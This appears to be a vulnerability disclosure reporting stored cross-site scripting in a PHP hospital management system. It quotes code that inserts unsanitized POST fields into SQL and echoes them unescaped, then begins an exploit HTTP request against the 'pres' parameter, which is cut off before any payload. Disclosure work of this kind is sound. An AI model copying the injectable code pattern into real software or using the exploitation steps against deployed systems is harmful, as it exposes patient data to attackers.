Multiple **stored cross site scripting vulnerabilities** are present in [Hospital Management System Gurukul v4.0](https://phpgurukul.com/hospital-management-system-in-php/)
[https://phpgurukul.com/hospital-management-system-in-php/]

The files **doctor/view-patient.php**, **admin/view-patient.php** and **view-medhistory.php** share a common piece of code where several **POST parameters** are directly used into the INSERT SQL query without any kind of escaping or sanitization.

```
/* ... */

if(isset($_POST['submit']))
{
    $vid=$_GET['viewid'];
    $bp=$_POST['bp'];
    $bs=$_POST['bs'];
    $weight=$_POST['weight'];
    $temp=$_POST['temp'];
    $pres=$_POST['pres'];

    $query.=mysqli_query($con,"insert tblmedicalhistory(PatientID,BloodPressure,BloodSugar,Weight,Temperature,Medi
value('$vid','$bp','$bs','$weight','$temp','$pres')");

/* ... */
```

In the same files, the data that was inserted by the above-mentioned query is retrieved from the database and added to the current page.

```
/* ...*/

while ($row=mysqli_fetch_array($ret)) {

    echo $cnt;
    echo $row['BloodPressure'];
    echo $row['Weight'];
    echo $row['BloodSugar'];
    echo $row['Temperature'];
    echo $row['MedicalPres'];
    echo $row['CreationDate'];

/* ... */
```

The vulnerable parameters through which the attack can be carried out are **bp**, **bs**, **weight**, **temp** and **pres** POST parameters.
The following is one of the possible exploitation using the **pres** POST parameter.

```
POST /hospitalmanagementsystemproject4/hospital/hms/doctor/view-patient.php?viewid=3 HTTP/1.1
Host: localhost
Content-Length: 94
